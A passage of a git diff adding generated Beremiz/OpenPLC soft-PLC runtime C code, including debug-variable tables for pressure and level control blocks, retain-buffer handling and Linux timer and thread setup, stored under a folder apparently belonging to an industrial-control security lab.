UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_P_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.ADD87_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.GE91_OUT), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = &((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p *)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o new file mode 100644 index 0000000..b9d0e3e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c new file mode 100644 index 0000000..8d7b240 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c @@ -0,0 +1,888 @@ +/** + * Head of code common to all C targets + **/ + +#include "beremiz.h" +#include +/* + * Prototypes of functions provided by generated C softPLC + **/ +void config_run__(unsigned long tick); +void config_init__(void); + +/* + * Prototypes of functions provided by generated target C code + * */ +long long AtomicCompareExchange64(long long*, long long, long long); +void __init_debug(void); +void __cleanup_debug(void); +/*void __retrieve_debug(void);*/ +void __publish_debug(void); + +/* + * Variables used by generated C softPLC and plugins + **/ +IEC_TIME __CURRENT_TIME; +IEC_BOOL __DEBUG = 0; +unsigned long __tick = 0; +char *PLC_ID = NULL; + +/* + * Variable generated by C softPLC and plugins + **/ +extern unsigned long greatest_tick_count__; + +/* Help to quit cleanly when init fail at a certain level */ +static int init_level = 0; + +/* + * Prototypes of functions exported by plugins + **/ +int __init_py_ext(int argc,char **argv); +void __cleanup_py_ext(void); +void __retrieve_py_ext(void); +void __publish_py_ext(void); + +/* + * Retrieve input variables, run PLC and publish output variables + **/ +void __run(void) +{ + __tick++; + if (greatest_tick_count__) + __tick %= greatest_tick_count__; + + __retrieve_py_ext(); + + /*__retrieve_debug();*/ + + config_run__(__tick); + + __publish_debug(); + + __publish_py_ext(); + +} + +/* + * Initialize variables according to PLC's default values, + * and then init plugins with that values + **/ +int __init(int argc,char **argv) +{ + int res = 0; + init_level = 0; + + /* Effective tick time with 1ms default value */ + if(!common_ticktime__) + common_ticktime__ = 1000000; + + config_init__(); + __init_debug(); + init_level=1; if((res = __init_py_ext(argc,argv))){return res;} + return res; +} +/* + * Calls plugin cleanup proc. + **/ +void __cleanup(void) +{ + if(init_level >= 1) __cleanup_py_ext(); + __cleanup_debug(); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME); +void PLC_SetTimer(unsigned long long next, unsigned long long period); + + + +/** + * Linux specific code + **/ + +#include +#include +#include +#include +#include +#include +#include +#include + +static sem_t Run_PLC; + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} +long long AtomicCompareExchange64(long long* atomicvar, long long compared, long long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME) +{ + struct timespec tmp; + clock_gettime(CLOCK_REALTIME, &tmp); + CURRENT_TIME->tv_sec = tmp.tv_sec; + CURRENT_TIME->tv_nsec = tmp.tv_nsec; +} + +void PLC_timer_notify(sigval_t val) +{ + PLC_GetTime(&__CURRENT_TIME); + sem_post(&Run_PLC); +} + +timer_t PLC_timer; + +void PLC_SetTimer(unsigned long long next, unsigned long long period) +{ + struct itimerspec timerValues; + /* + printf("SetTimer(%lld,%lld)\n",next, period); + */ + memset (&timerValues, 0, sizeof (struct itimerspec)); + { +#ifdef __lldiv_t_defined + lldiv_t nxt_div = lldiv(next, 1000000000); + lldiv_t period_div = lldiv(period, 1000000000); + timerValues.it_value.tv_sec = nxt_div.quot; + timerValues.it_value.tv_nsec = nxt_div.rem; + timerValues.it_interval.tv_sec = period_div.quot; + timerValues.it_interval.tv_nsec = period_div.rem; +#else + timerValues.it_value.tv_sec = next / 1000000000; + timerValues.it_value.tv_nsec = next % 1000000000; + timerValues.it_interval.tv_sec = period / 1000000000; + timerValues.it_interval.tv_nsec = period % 1000000000; +#endif + } + timer_settime (PLC_timer, 0, &timerValues, NULL); +} +// +void catch_signal(int sig) +{ +// signal(SIGTERM, catch_signal); + signal(SIGINT, catch_signal); + printf("Got Signal %d\n",sig); + exit(0); +} + + +static unsigned long __debug_tick; + +pthread_t PLC_thread; +static pthread_mutex_t python_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t python_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_mutex = PTHREAD_MUTEX_INITIALIZER; + +int PLC_shutdown = 0; + +int ForceSaveRetainReq(void) { + return PLC_shutdown; +} + +void PLC_thread_proc(void *arg) +{ + while (!PLC_shutdown) { + sem_wait(&Run_PLC); + __run(); + } + pthread_exit(0); +} + +#define maxval(a,b) ((a>b)?a:b) +int startPLC(int argc,char **argv) +{ + struct sigevent sigev; + setlocale(LC_NUMERIC, "C"); + + PLC_shutdown = 0; + + sem_init(&Run_PLC, 0, 0); + + pthread_create(&PLC_thread, NULL, (void*) &PLC_thread_proc, NULL); + + memset (&sigev, 0, sizeof (struct sigevent)); + sigev.sigev_value.sival_int = 0; + sigev.sigev_notify = SIGEV_THREAD; + sigev.sigev_notify_attributes = NULL; + sigev.sigev_notify_function = PLC_timer_notify; + + pthread_mutex_init(&debug_wait_mutex, NULL); + pthread_mutex_init(&debug_mutex, NULL); + pthread_mutex_init(&python_wait_mutex, NULL); + pthread_mutex_init(&python_mutex, NULL); + + pthread_mutex_lock(&debug_wait_mutex); + pthread_mutex_lock(&python_wait_mutex); + + timer_create (CLOCK_MONOTONIC, &sigev, &PLC_timer); + if( __init(argc,argv) == 0 ){ + PLC_SetTimer(common_ticktime__,common_ticktime__); + + /* install signal handler for manual break */ + signal(SIGINT, catch_signal); + }else{ + return 1; + } + return 0; +} + +int TryEnterDebugSection(void) +{ + if (pthread_mutex_trylock(&debug_mutex) == 0){ + /* Only enter if debug active */ + if(__DEBUG){ + return 1; + } + pthread_mutex_unlock(&debug_mutex); + } + return 0; +} + +void LeaveDebugSection(void) +{ + pthread_mutex_unlock(&debug_mutex); +} + +int stopPLC() +{ + /* Stop the PLC */ + PLC_shutdown = 1; + sem_post(&Run_PLC); + PLC_SetTimer(0,0); + pthread_join(PLC_thread, NULL); + sem_destroy(&Run_PLC); + timer_delete (PLC_timer); + __cleanup(); + pthread_mutex_destroy(&debug_wait_mutex); + pthread_mutex_destroy(&debug_mutex); + pthread_mutex_destroy(&python_wait_mutex); + pthread_mutex_destroy(&python_mutex); + return 0; +} + +extern unsigned long __tick; + +int WaitDebugData(unsigned long *tick) +{ + int res; + if (PLC_shutdown) return 1; + /* Wait signal from PLC thread */ + res = pthread_mutex_lock(&debug_wait_mutex); + *tick = __debug_tick; + return res; +} + +/* Called by PLC thread when debug_publish finished + * This is supposed to unlock debugger thread in WaitDebugData*/ +void InitiateDebugTransfer() +{ + /* remember tick */ + __debug_tick = __tick; + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&debug_wait_mutex); +} + +int suspendDebug(int disable) +{ + /* Prevent PLC to enter debug code */ + pthread_mutex_lock(&debug_mutex); + /*__DEBUG is protected by this mutex */ + __DEBUG = !disable; + if (disable) + pthread_mutex_unlock(&debug_mutex); + return 0; +} + +void resumeDebug(void) +{ + __DEBUG = 1; + /* Let PLC enter debug code */ + pthread_mutex_unlock(&debug_mutex); +} + +/* from plc_python.c */ +int WaitPythonCommands(void) +{ + /* Wait signal from PLC thread */ + return pthread_mutex_lock(&python_wait_mutex); +} + +/* Called by PLC thread on each new python command*/ +void UnBlockPythonCommands(void) +{ + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&python_wait_mutex); +} + +int TryLockPython(void) +{ + return pthread_mutex_trylock(&python_mutex) == 0; +} + +void UnLockPython(void) +{ + pthread_mutex_unlock(&python_mutex); +} + +void LockPython(void) +{ + pthread_mutex_lock(&python_mutex); +} + +/* + This file is part of Beremiz, a Integrated Development Environment for + programming IEC 61131-3 automates supporting plcopen standard and CanFestival. + + See COPYING.runtime + + Copyright (C) 2018: Sergey Surkov + Copyright (C) 2018: Andrey Skvortsov + +*/ + +#ifndef HAVE_RETAIN +#include +#include +#include +#include "iec_types.h" + +int GetRetainSize(void); + +/* Retain buffer. */ +FILE *retain_buffer; +const char rb_file[] = "retain_buffer_file"; +const char rb_file_bckp[] = "retain_buffer_file.bak"; + + +/* Retain header struct. */ +struct retain_info_t { + uint32_t retain_size; + uint32_t hash_size; + uint8_t* hash; + uint32_t header_offset; + uint32_t header_crc; +}; + +/* Init retain info structure. */ +struct retain_info_t retain_info; + +/* CRC lookup table and initial state. */ +static const uint32_t crc32_table[256] = { + 0x00000000, 